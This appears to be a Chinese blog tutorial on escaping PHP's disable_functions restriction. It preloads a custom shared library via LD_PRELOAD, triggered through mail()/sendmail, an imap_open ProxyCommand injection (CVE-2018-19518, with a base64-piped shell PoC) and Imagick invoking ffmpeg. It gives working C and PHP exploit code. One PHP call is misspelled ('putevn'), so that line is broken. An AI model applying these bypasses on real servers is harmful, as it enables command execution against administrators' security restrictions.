天天看點

disable_function繞過--利用LD_PRELOAD

0x00 前言

有時候直接執行指令的函數被ban了,那麼有幾種思路可以bypass

1.使用php本身自帶的能夠調用外部程式的函數

2.使用第三方插件入(如imagick)

但是這兩種無非就是利用php去調用外部的軟體,再利用外面的軟體執行shell

0x01 LD_PRELOAD

每個程式執行的時候會去動态連結庫

so

檔案裡面找函數的位置,而我們的目的是讓程式去執行我們自定義的動态連結庫

LD_PRELOAD

這個全局變量指定的

so

檔案會在每個程式本身的so檔案之前加載

export						#檢視目前有的全局變量
export LD_PRELOAD=./test.so	#将目前目錄下的test.so檔案加載到每個程式的動态連結庫最前面
           

一個程式執行了哪些函數,可以使用

readelf -s /usr/bin/id
readelf -s /usr/sbin/sendmail
           

比如id中使用了

getuid

20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getuid@GLIBC_2.2.5 (2)
           

那麼編寫個

so

檔案

test2.c

#include <stdlib.h>
#include <stdio.h>
   
int getuid(){
  if(getenv("LD_PRELOAD") == NULL){
    return 0;
  }
  unsetenv("LD_PRELOAD");
  system("echo 'hello' >hello.txt");
}
           

編譯生成

so

gcc -c -fPIC test2.c -o test2
gcc --share test2 -o test2.so
           

設定環境變量

export LD_PRELOAD=./test2.so
           

在php中如果把

so

檔案傳上去了後,可以利用

putevn

函數來設定全局變量

0x02 php本身能夠執行外部程式的函數

能夠觸發外部指令的函數有

mail()

,

error_log()

,這2個函數都是會調用

sendmail

指令,這個

sendmail

軟體是linux下用來發送郵件的(如果沒有可用使用

apt-get install sendmail

安裝)

<?php
putevn("LD_PRELOAD=./test2.so");
mail("","","","");
//error_log("err",1,"","");
?>
           

假設沒有

sendmail

,我新裝的

ubuntu

就沒有預設安裝,那麼php還有個的函數是2018年底爆出的一個CVE漏洞

CVE-2018-19518

imap_open()

函數

我也不知道這是不是php的鍋,這個函數它是用來發送郵件的,它使用的是rsh連接配接遠端的shell,但是在

ubuntu

debain

下,它是使用的ssh

而ssh的

-oProxyCommand

參數能夠帶指令的,比如

ssh -oProxyCommand="touch test.txt" 10.10.10.10
           

即使連接配接失敗,本地也會建立個

test.txt

那麼php中的寫法

<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
?>
           

這裡直借用參考文章的

poc

了,因為我本地不知道是不是php是最新的原因,報錯說找不到imap_open這個函數

0x03使用擴充插件

這裡不得不提下

ImageMagick

了,這個圖檔處理的插件曆史版本有很多漏洞,也有getshell的漏洞,但是這裡介紹的是通過它調用外部的軟體

ffmpeg

,也是通過

so

檔案來達到指令執行的,至于環境如何搭建可以上網查查

ImageMagick

處理以下檔案的時候會調用

ffmpeg

(檔案必須存在)

wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp
           

檢視了

ffmpeg

的函數表,沒有getuid,因為對C語言我又是個智障狀态,是以也不知道其他函數什麼傳回值,什麼參數,重寫要注意些啥,這裡就講個能通用的辦法

之前使用

sendmail

的時候是找的其中的一個函數

getuid

,因為軟體執行的時候會去調用這個函數,那麼我們目的是為了找到一個所有C程式都會去執行,并且都有的

'函數'

,這個就是

__attribute__((__constructor__))

這個函數會所有程式在啟動main之前100%調用,是以

so

檔案的寫法

test3.c

#include <stdlib.h>
#include <stdio.h>

__attribute__((__constructor__)) void angel(void){
  unsetenv("LD_PRELOAD");
  system("echo 'hello'");
}

           

在php中執行方法

<?php
	$img = Imagick("1.mp4");
?>
           

0xff結語

本來0ctf之後就會研究這個問題的,不知道為什麼拖到現在,也算是填了個坑

參考連結:

https://xz.aliyun.com/t/4623

https://cloud.tencent.com/developer/article/1379245

繼續閱讀